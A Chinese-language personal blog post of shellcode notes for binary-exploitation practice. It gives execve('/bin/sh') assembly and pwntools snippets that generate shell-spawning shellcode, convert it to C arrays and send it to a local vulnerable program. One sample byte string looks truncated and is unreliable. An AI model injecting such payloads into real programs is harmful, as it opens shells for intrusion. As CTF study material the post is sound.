Shellcode收集&详解

用过的Shellcode收集和编辑shellcode的详细过程

shellcode收集

学习过程放在下面了懒得删了,上面放shellcode收集

x86/64 Linux execve("/bin/sh") Shellcode

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
xor     rdi, rdi
mov     rsi, rdi
mov    rdx, rdi
mov     rdi, 0x68732f6e69622f2f
push    rdi
mov     rdi,rsp
xor     rsi,rsi
xor     rdx,rdx
mov     rax, 0x3b
syscall           

pwntools使用shellcode发送

1. 使用 pwntools 构建简单的 Shellcode

一个常见的例子是构建一个执行 execve("/bin/sh") 的 Shellcode,这通常用于利用漏洞获取一个 shell。

1
2
3
4
5
6
7
from pwn import *

# 使用 pwntools 提供的函数生成一个 execve("/bin/sh") 的 Shellcode
shellcode = asm(shellcraft.sh())

print("Shellcode:")
print(shellcode)

解释:

  • shellcraft.sh():这是 pwntools 中的一个快捷函数,它生成一个调用 execve("/bin/sh") 的 Shellcode。
  • asm():将汇编代码转为字节码。

生成的 Shellcode 通常会是这样的(会根据平台不同有所变化):

1
\x48\x31\xc0\x50\x48\x89\xe2\x48\x83\xc0\x3b\x0f\x05

2. 自定义 Shellcode

你可以根据自己的需求自定义 Shellcode。假设我们需要构建一个简单的 execve Shellcode 来执行一个特定的命令(例如 /bin/ls):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
from pwn import *

# 定义要执行的命令
command = '/bin/ls'

# 使用 pwntools 生成 execve("/bin/ls") 的 Shellcode
shellcode = asm(shellcraft.execve(command))

print("Shellcode:")
print(shellcode)

这里,shellcraft.execve(command) 生成一个执行给定命令的 Shellcode。

3. 调试和测试 Shellcode

你可以使用 pwnlib 中的 context 来设置目标架构,确保生成的 Shellcode 能在正确的环境下执行。假设你希望生成 x86 架构的 Shellcode:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
from pwn import *

# 设置目标架构(x86)
context.arch = 'i386'

# 生成 x86 execve("/bin/sh") Shellcode
shellcode = asm(shellcraft.sh())

print("Shellcode:")
print(shellcode)

你也可以设置更多的上下文选项,如操作系统、字节顺序等。pwntools 支持多种架构,常见的包括:

  • i386:32 位 x86 架构
  • x86_64:64 位 x86 架构
  • arm, aarch64:ARM 架构
  • mips, mipsel:MIPS 架构

4. 打包 Shellcode

有时我们需要将生成的 Shellcode 打包成 C 代码,或者将它嵌入到其他程序中,pwntools 提供了方便的转换方法。例如,生成 C 代码字符串:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
from pwn import *

# 设置目标架构(x86)
context.arch = 'i386'

# 生成 Shellcode
shellcode = asm(shellcraft.sh())

# 转换成 C 语言中的字节数组
print("C Code Shellcode:")
print(f'char shellcode[] = "{shellcode.encode("unicode_escape").decode()}"')

生成的输出将是类似这样的 C 代码,可以嵌入到 C 程序中:

1
char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";

还有一种:自己编写好详细的汇编代码,然后通过asm()函数生成字节码发送shellcode

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
shellcode = asm('''
mov rdx,0x2000
add rsi,0xd
syscall
''')
# shellcode = ('''
# mov rdx,0x2000
# add rsi,0xd
# syscall
# ''')
# p.send(asm(shellcode))
p.send(shellcode)

6. 通过 pwntools 发送 Shellcode

如果你需要通过网络连接(例如通过 remoteprocess)发送 Shellcode,可以这样做:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
from pwn import *

# 设置目标架构(x86_64)
context.arch = 'x86_64'

# 生成 Shellcode
shellcode = asm(shellcraft.sh())

# 通过 process 运行程序并注入 Shellcode
p = process('./vulnerable_program')  # 假设你有一个存在漏洞的程序
p.send(shellcode)  # 将 Shellcode 注入到程序中
本博客已稳定运行
发表了14篇文章 · 总计3万2千字

浙ICP备2024137952号 『网站统计』

𝓌𝒶𝒾𝓉 𝒻ℴ𝓇 𝒶 𝒹ℯ𝓁𝒾𝓋ℯ𝓇𝒶𝓃𝒸ℯ
使用 Hugo 构建
主题 StackJimmy 设计
⬆️该页面访问量Loading...